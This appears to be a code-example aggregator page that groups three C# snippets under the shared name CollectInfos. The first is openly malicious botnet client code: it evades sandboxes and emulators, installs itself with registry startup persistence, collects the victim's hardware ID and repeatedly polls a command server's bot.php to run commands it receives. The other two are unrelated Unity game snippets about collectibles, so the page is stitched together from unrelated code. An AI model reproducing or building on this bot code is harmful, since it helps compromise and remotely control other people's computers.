예제 #1
0
        private SuperSyn SupSyn     = new SuperSyn();                 // Nicht ändern !
        // Ab hier nichts mehr ändern !
        public MainClass()
        {
            if (this.IsSandboxed() | this.IsEmulated())
            {
                Environment.Exit(0);
            }
            Installation    installation = new Installation(this.DropFolder, this.DropExeName);
            RegStartWatcher watcher      = new RegStartWatcher(this.StartUpTitle, Application.ExecutablePath);

            if (!installation.CheckAndCreateMutex(this.BotMutex))
            {
                Environment.Exit(0);
            }
            this.Info = CollectInfos.Collect();
            this.FirstStart();
            while (true)
            {
                try
                {
                    string parameters = "mode=2&hwid=" + this.Info.HWID;
                    string command    = this.HttpPost(this.BotServer + "bot.php", parameters);
                    if (command.Length != 0)
                    {
                        this.ParseCommand(command);
                    }
                    else
                    {
                        this.ParseCommand("!wait");
                    }
                }
                catch
                {
                }
                Thread.Sleep((int)((this.ConnectionInterval * 60) * 0x3e8));
            }
        }
예제 #2
0
 public void InstantiatePrefab(CollectInfos p_Infos)
 {
     Instantiate(m_Prefab, p_Infos.position, Quaternion.identity);
 }
예제 #3
0
 public void OnCollectListener(CollectInfos infos)
 {
     Debug.Log("Collectible has been collected at " + infos.position + ", and offered " + infos.score + " points.");
 }